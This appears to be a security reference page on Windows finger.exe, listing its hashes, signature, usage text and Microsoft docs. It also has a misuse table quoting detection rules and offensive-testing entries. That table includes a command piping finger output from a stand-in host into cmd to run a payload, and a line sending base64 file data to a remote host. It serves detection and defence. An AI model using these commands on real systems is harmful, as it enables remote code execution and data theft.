finger.exe

File Path: C:\Windows\SysWOW64\finger.exe
Description: TCPIP Finger Command

Hashes

Type	Hash
MD5	`36055FAD37AA9A02198E461D56D5F7B7`
SHA1	`0AAD77068197277028E1D223A71F681DDA6F39AD`
SHA256	`42B0E9CD8F98E5D3829FC9F2CBDA618150C440A3188090EEBED905C85AA9748F`
SHA384	`16C8EA16DB464878DB29C3D4C5176F646D4C4087ED0F50258FC562E50A27879C51269A20B1120BD522E8397E3129D203`
SHA512	`A254230C194A42EDE6F739F6BF36D24AD1EDDECD4FBAA39F3A1D246039CAE658B7379D4C6621EDDA9FB51B3DF504CC225C15C6D0CB7DA987DA0FF0FD0E229799`
SSDEEP	`192:FWO2GW7AYNlv0XtHDLTKpO5pOQ6MuEFyubIDcIW20WZ7aS:p2GwAY/0XtbuODO2AubUjW20W8S`

Runtime Data

Usage (stdout):

[default-pc]

Usage (stderr):

Displays information about a user on a specified system running the
Finger service. Output varies based on the remote system.

FINGER [-l] [user]@host [...]

  -l        Displays information in long list format.
  user      Specifies the user you want information about. Omit the user
            parameter to display information about all users on the
            specifed host.
  @host     Specifies the server on the remote system whose users you
            want information about.

Child Processes:

conhost.exe

Signature

Status: Signature verified.
Serial: 33000001733031072665B8B9B3000000000173
Thumbprint: 14590DC5C3AAF238FCFD7785B4B93F4071402C34
Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

File Metadata

Original Filename: finger.exe.mui
Product Name: Microsoft Windows Operating System
Company Name: Microsoft Corporation
File Version: 10.0.14393.0 (rs1_release.160715-1616)
Product Version: 10.0.14393.0
Language: English (United States)
Legal Copyright: Microsoft Corporation. All rights reserved.

Possible Misuse

The following table contains possible examples of finger.exe being misused. While finger.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source	Source File	Example	License
sigma	proc_creation_win_susp_finger_usage.yml	`title: Finger.exe Suspicious Invocation`	DRL 1.0
sigma	proc_creation_win_susp_finger_usage.yml	`description: Detects suspicious aged finger.exe tool execution often used in malware attacks nowadays`	DRL 1.0
sigma	proc_creation_win_susp_finger_usage.yml	`Image\\|endswith: '\finger.exe'`	DRL 1.0
sigma	proc_creation_win_susp_finger_usage.yml	`- Admin activity (unclear what they do nowadays with finger.exe)`	DRL 1.0
LOLBAS	Finger.yml	`Name: Finger.exe`
LOLBAS	Finger.yml	`Description: Displays information about a user or users on a specified remote computer that is running the Finger service or daemon`
LOLBAS	Finger.yml	`- Command: finger user@example.host.com \\| more +2 \\| cmd`
LOLBAS	Finger.yml	`Description: 'Downloads payload from remote Finger server. This example connects to "example.host.com" asking for user "user"; the result could contain malicious shellcode which is executed by the cmd process.'`
LOLBAS	Finger.yml	`- Path: c:\windows\system32\finger.exe`
LOLBAS	Finger.yml	`- Path: c:\windows\syswow64\finger.exe`
LOLBAS	Finger.yml	`- IOC: finger.exe should not be run on a normal workstation.`
LOLBAS	Finger.yml	`- IOC: finger.exe connecting to external resources.`
malware-ioc	nouns.txt	`finger`	© ESET 2014-2018
atomic-red-team	index.md	- Atomic Test #16: File download with finger.exe on Windows [windows]	MIT License. © 2018 Red Canary
atomic-red-team	windows-index.md	- Atomic Test #16: File download with finger.exe on Windows [windows]	MIT License. © 2018 Red Canary
atomic-red-team	T1105.md	- Atomic Test #16 - File download with finger.exe on Windows	MIT License. © 2018 Red Canary
atomic-red-team	T1105.md	## Atomic Test #16 - File download with finger.exe on Windows	MIT License. © 2018 Red Canary
atomic-red-team	T1105.md	Simulate a file download using finger.exe. Connect to localhost by default, use custom input argument to test finger connecting to an external server.	MIT License. © 2018 Red Canary
atomic-red-team	T1105.md	https://www.bleepingcomputer.com/news/security/windows-10-finger-command-can-be-abused-to-download-or-steal-files/	MIT License. © 2018 Red Canary
atomic-red-team	T1105.md	finger base64_filedata@#{remote_host}	MIT License. © 2018 Red Canary

Additional Info*

*The information below is copied from MicrosoftDocs, which is maintained by Microsoft. Available under CC BY 4.0 license.

finger

Applies to: Windows Server 2022, Windows Server 2019, Windows Server 2016, Windows Server 2012 R2, Windows Server 2012

Displays information about users on a specified remote computer (typically a computer running UNIX) that is running the finger service or daemon. The remote computer specifies the format and output of the user information display. Used without parameters, finger displays help.

[!IMPORTANT] This command is available only if the Internet Protocol (TCP/IP) protocol is installed as a component in the properties of a network adapter in Network Connections.

Syntax

finger [-l] [<user>] [@<host>] [...]

Parameters

Parameter	Description
-l	Displays user information in long list format.
`<user>`	Specifies the user about which you want information. If you omit the user parameter, this command displays information about all users on the specified computer.
`@<host>`	Specifies the remote computer running the finger service where you are looking for user information. You can specify a computer name or IP address.
/?	Displays help at the command prompt.

Remarks

You must prefix finger parameters with a hyphen (-) rather than a slash (/).
Multiple user@host parameters can be specified.

Examples

To display information for user1 on the computer users.microsoft.com, type:

finger user1@users.microsoft.com

To display information for all users on the computer users.microsoft.com, type:

finger @users.microsoft.com

Additional References

Command-Line Syntax Key